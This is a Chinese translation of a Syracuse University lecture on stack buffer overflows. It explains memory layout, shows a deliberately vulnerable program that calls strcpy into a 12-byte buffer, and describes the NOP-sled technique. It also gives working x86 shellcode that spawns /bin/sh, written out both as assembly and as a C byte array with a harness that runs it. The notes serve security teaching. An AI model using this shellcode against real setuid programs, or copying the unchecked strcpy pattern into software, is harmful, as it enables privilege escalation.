雪城大学信息安全讲义 4.1~4.2
四、缓冲区溢出漏洞和攻击
原文:Buffer-Overflow Vulnerabilities and Attacks
译者:飞龙
1 内存
这个讲义的“区域”(Area)和“段”(Segment)与多数教程正好相反,译文中已更正。
在 PC 架构中,程序中有四个基本读写段:栈、数据、BSS 和堆。数据、BSS 以及堆区可统称为“数据区域”。在“内存布局和栈”的教程中,Peter Jay Salzman 详细描述了内存布局。
栈:栈通常在内存的高地址。通常“向下增长”:从高地址到低地址。无论何时进行函数调用,栈都会使用。
数据区域
- 数据段:包含程序所用的全局变量,它们不被初始化为 0。例如,字符串
hello world
由char s[] = "hello world"
定义,它在 C 中存在于数据段。 - BSS 段:起始于数据段的末尾,并包含所有初始化为 0 的全局变量。例如,变量声明为
static int
,会包含在 BSS 段中。 - 堆段:起始于 BSS 段的末尾,向高地址增长。堆段由
malloc
库管理。堆段由程序中所有共享库以及动态加载模块共享。
- 数据段:包含程序所用的全局变量,它们不被初始化为 0。例如,字符串
2 栈缓冲区溢出
2.1 栈的背景
栈布局:下面的图片展示了在执行流进入函数
func
之后,栈的布局。栈方向:栈从高地址向低地址增长(而缓冲区正好相反)。
返回地址:函数返回后所执行的地址。
在进入函数之前,程序需要记住从函数返回之后,应该返回到哪里。也就是需要记住返回地址。
返回地址是函数调用下一条指令的地址。
返回地址会储存在栈上。在 x86 中,指令
call func
会将call
语句下一条指令的地址压入栈中(返回地址区域),之后跳到func
的代码处。
帧指针(FP):用于引用局部变量和函数参数。这个指针储存在寄存器中(例如 x86 中是
ebp
寄存器)。下面,我们使用$FP
来表示FP
寄存器的值。variable_a
被引用为$FP-16
。buffer
被引用为$FP-12
。str
被引用为$FP+8
。
缓冲区溢出问题:上面的程序拥有缓冲区溢出问题。
- 函数
strcpy(buffer, str)
将内存从str
复制到buffer
。 str
指向的字符串多于 12 个字符,但是buffer
的大小只为 12。- 函数
strcpy
不检查buffer
是否到达了边界。它值在看到字符串末尾\0
时停止。 - 所以,
str
末尾的字符会覆盖buffer
上面的内存中的内容。
- 函数
2.2 漏洞程序
现在,让我们来看一个更复杂的程序。不像前面的程序,用于覆盖返回地址的字符串不是静态字符串,它通常由用户提供。换句话说,用户可以决定字符串中包含什么。
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int func (char *str) { char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1;
}
int main(int argc, char **argv) { char str[517]; FILE *badfile;badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); func (str); printf("Returned Properly\n"); return 1;
}
我们并不难以看到上面的程序拥有缓冲区溢出问题。这个程序首先从badfile
文件读取输入,之后将输入传递给bof
中另一个缓冲区。原始输入最大为 517 个字节,但是bof
中的缓冲区只有 12 个字节。因为strcpy
不检查边界,会发生缓冲区溢出。如果这个程序是 Set-Root-UID 程序,普通用户就可以利用这个缓冲区溢出漏洞,并得到 Root 权限。
2.3 利用缓冲区溢出罗东
为了完全利用栈缓冲区溢出漏洞,我们需要解决几个挑战性的问题。
注入恶意代码:我们需要能够像目标进程的内存中注入恶意代码。如果我们可以控制目标程序中,缓冲区的内存,就可以完成它。例如,在上面的例子中,程序从文件获取输入。我们可以将恶意代码保存到文件中,并且目标程序会将其读入内存。
跳到恶意代码:使用内存中已有的恶意代码,如果目标程序可以跳到恶意代码的起始点,攻击者就能控制它。
编写恶意代码:编写恶意代码并不犊砸,我们就展示一种特定类型的恶意代码,Shellcode,如何编写。
2.4 注入恶意代码
使用程序中的缓冲区溢出漏洞,我们可以轻易向运行的程序的内存中注入恶意代码。让我们假设恶意代码已经编写好了(我们会在稍后讨论如何编写恶意代码)。
在上面的漏洞程序中,程序从文件badfile
读取内存,并且将内存复制到buffer
。之后,我们可以简单将恶意代码(二进制形式)储存在badfile
中,漏洞程序会将恶意代码复制到栈上的buffer
(它会溢出buffer
)。
2.5 跳到恶意代码
为了跳到我们已经注入到目标程序栈上的恶意代码,我们需要知道代码的绝对地址,如果我们事先知道地址,在溢出缓冲区时,我们就可以使用这个地址来覆盖存放返回地址的内存。因此,当函数返回时,他就会返回到我们的恶意代码。
下面就是寻找恶意代码从哪里开始的挑战。
如果目标程序是个 Set-UID 程序,你可以复制这个程序,并使用你自己的权限来执行。你可以用这个方式来调试程序(要逐级你不能调试 Set-UID 程序)。在调试器中,你可以弄清楚
buffer
的地址,因此计算出恶意代码的起始点。buffer
的地址可能和你运行 Set-UID 副本时不同,但已经很接近了。你可以尝试多个值。如果目标程序远程运行,并且你可能不能依赖调试器来寻找地址。但是,你可以始终猜测它。下面的事实是的猜测变得可行:
- 栈通常起始于相同地址。
- 栈通常不是很深:多数程序不会一次性压入成百上千字节。
- 因此我们需要猜测的栈的范围实际非常小。
提升几率:为了提升成功的几率,我们可以向恶意代码的顶部添加许多 NOP 指令。NOP 是个特殊的指令,除了步进到下一条指令之外,不做任何事情。因此,只要猜测的地址指向了 NOP 指令之一,攻击就成功了。使用这些 NOP,猜测指向恶意代码的正确地址的几率就会显著增加。
2.6 恶意代码:Shellcode
在前面的讨论中,我们假设恶意代码已经是可用的。这个章节中,我们会讨论如何编写这种恶意代码。
如果我们可以让特权程序执行我们的代码,我们想要它执行什么代码呢?最强大的代码就是调用 Shell,所以我们可以在其中执行任何我们想要执行的代码。目标为加载 Shell 的程序就叫做 Shellcode。为了了解如何编写 Shellcode,让我们来看看下面的 C 程序:
#include <stdio.h>
int main( ) { char *name[2];name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);
}
在我们将上面的程序编译为二进制代码之后,我们可以在缓冲区溢出工集中,直接使用二进制代码作为 Shellcode 嘛?事情并不是那么容易。如果我们直接使用上面的代码,就会有几个问题:
首先,为了调用系统调用
execve
,我们需要知道/bin/sh
的地址。字符串保存在哪里,以及如何获取字符串位置,并不是复杂的问题。其次,代码中有一些空字符。这会使
strcpy
停止,如果漏洞由strcpy
导致,我们就会有问题。
为了解决第一个问题,我们可以将字符串/bin/sh
压入栈中,之后使用栈指针esp
获取字符串位置。为了解决第二个问题,我们可以将包含 0 的指令转换为另一条不包含 0 的指令,例如,为了将 0 储存到寄存器中,我们可以使用 XOR 指令,而不是直接将寄存器赋为 0。下面是个用汇编语言编写的 Shellcode 的例子:
Line 1: xorl %eax,%eax
Line 2: pushl %eax # push 0 into stack (end of string)
Line 3: pushl $0x68732f2f # push "//sh" into stack
Line 4: pushl $0x6e69622f # push "/bin" into stack
Line 5: movl %esp,%ebx # %ebx = name[0]
Line 6: pushl %eax # name[1]
Line 7: pushl %ebx # name[0]
Line 8: movl %esp,%ecx # %ecx = name
Line 9: cdq # %edx = 0
Line 10: movb $0x0b,%al
Line 11: int $0x80 # invoke execve(name[0], name, 0)
Shellcode 中的一些地方需要注意:
首先,第三条指令将
/sh
压入到栈中。这是因为我们需要一个 32 位数值,/sh
只有 24 位,幸运的地址,//
等价于/
,所以我们可以使用两个斜杠字符。其次,在调用
execve
系统调用之前,我们需要将name[0]
(字符串地址),name
(数组地址),以及NULL
储存到%ebx
、%ecx
以及%edx
寄存器。- 第五行将
name[0]
储存到`%ebx。 - 第八行将
name
储存到%ecx
。 - 第六航将
%edx
设为 0。有其他将它设为 0 的办法(例如xorl %edx, %edx
)。这里使用的cdq
是个简单的指令,将 EAX 最高位(第 31 位)复制到 EDX 寄存器的每一位,也就是将%edx
设为 0。
- 第五行将
再者,
execve
系统调用在我们将%al
设为 11 并执行int $0x80
时调用。
如果我们将上面的代码转换为二进制,并将其储存在数组中,我们就行可以在 C 程序中调用:
#include <stdlib.h>
#include <stdio.h>const char code[] = "\x31\xc0" /* Line 1: xorl %eax,%eax */ "\x50" /* Line 2: pushl %eax */ "\x68""//sh" /* Line 3: pushl $0x68732f2f */ "\x68""/bin" /* Line 4: pushl $0x6e69622f */ "\x89\xe3" /* Line 5: movl %esp,%ebx */ "\x50" /* Line 6: pushl %eax */ "\x53" /* Line 7: pushl %ebx */ "\x89\xe1" /* Line 8: movl %esp,%ecx */ "\x99" /* Line 9: cdq */ "\xb0\x0b" /* Line 10: movb $0x0b,%al */ "\xcd\x80" /* Line 11: int $0x80 */ ;int main(int argc, char **argv) { char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( );
}
上面main
函数中的((void(*)( ))buf)( )
语句会调用 Shell,因为执行了 Shellcode。
雪城大学信息安全讲义 4.1~4.2相关推荐
- 雪城大学信息安全讲义 3.1 Set-UID 机制如何工作
三.Set-UID 特权程序 原文:Set-UID Programs and Vulnerabilities 译者:飞龙 这个讲义的主要目标就是来讨论特权程序,为什么需要他们,他们如何工作,以及它们有 ...
- 雪城大学信息安全讲义 3.3 提升 Set-UID 程序的安全性
3 提升 Set-UID 程序的安全性 exec函数 exec函数系列通过将当前进程映像包装为新的,来运行紫禁城.有许多exec函数的版本,工作方式不同.它们可以归类为: 使用/不适用 Shell 来 ...
- 雪城大学信息安全讲义 七、格式化字符串漏洞
七.格式化字符串漏洞 原文:Format String Vulnerability 译者:飞龙 printf ( user_input ); 上面的代码在 C 程序中十分常见.这一章中,我们会发现如果 ...
- 雪城大学信息安全讲义 六、输入校验
六.输入校验 原文:Input Validation 译者:飞龙 1 环境变量(隐藏的输入) 环境变量是隐藏的输入.它们存在并影响程序行为.在编程中忽略它们的存在可能导致安全隐患. PATH 在 Sh ...
- 雪城大学信息安全讲义 五、竞态条件
五.竞态条件 原文:Race Condition Vulnerability 译者:飞龙 1 竞态条件漏洞 下面的代码段属于某个特权程序(即 Set-UID 程序),它使用 Root 权限运行. 1: ...
- 雪城大学信息安全讲义 4.5
5 堆或 BSS 的缓冲区溢出 堆或 BSS 的内容 字符串常量 全局变量 静态变量 动态分配的内存 示例:覆盖文件指针 /* The following variables are stored i ...
- 雪城大学信息安全讲义 4.3~4.4
3 对抗措施 3.1 应用安全工程原则 使用强类型语言,例如 Java.C#,以及其他.使用这些语言,可以避免缓冲区溢出. 使用安全的库函数 可能拥有缓冲区溢出问题的函数:gets.strcpy.st ...
- 雪城大学信息安全讲义 3.2 Set-UID 程序的漏洞
2 Set-UID 程序的漏洞 2.1 隐藏的输入:环境变量 特权程序必须对所有输入进行安全检查.输入检查实际上是访问控制的一部分,特权程序必须这么做,来确保程序的安全.很多安全问题都是输入检查的错误 ...
- 雪城大学信息安全讲义 二、Unix 安全概览
二.Unix 安全概览 原文:Unix Security Basics 译者:飞龙 1 用户和用户组 用户 root:超极用户(UID = 0) daemon:处理网络. nobody:不拥有文件,用 ...
最新文章
- oracle的存储过程调试,oracle 运行普通方式及调试debug方式存储过程性能区别
- 相邻兄弟选择器(+)、子选择器()、兄弟选择器(~)等用法
- Pixel 3的超分辨变焦技术
- AI最后--热门游戏引擎(CN地区)
- Struts1和Struts2的区别和对比(完整版)(转)
- 小程序开发之基础知识(0)
- wxString中文出错的解决方法
- hp-ux mysql_HP-UX 安装MySQL
- 针对敲诈病毒(WanaCrypt0r2.0)的应对方案
- do{} while(0)
- Linux禁用文件可执行权限
- DSP原理及图像处理应用
- Android之notification通知无法点击打开APP问题解决
- 我是如何自学通过CISSP考试的
- 【无标题】奥的斯故障223 1TH-Fault 2TH Fault故障分析
- 2020年复旦电子信息专硕考研初试经验贴
- 在VMware上如何创建虚拟机并安装linux操作系统,以及虚拟机的账户密码破解
- 【面试题】概率题总结(随机数、抛硬币)
- [地图]构建欧氏距离场
- 腾讯游戏平台下载|腾讯游戏平台使用体验
热门文章
- (75)Verilog HDL系统函数和任务:$readmemh
- (30)System Verilog设计SPI发送
- android 图片剪切组件,Android 图片裁剪库 uCrop
- 数字图像处理(五)——形态学
- STM32学习——TIM基本定时器
- 网络协议栈深入分析(三)--BSD socket和传输层sock
- [C++] - dynamic_cast介绍及工作原理、typeid、type_info
- Java学习日报—JVM垃圾回收全解—2021/11/26
- Java学习日报—2021/11/18
- linux 中级 教程pdf,Linux初中级学习者指导Linux操作系统技术合集.pdf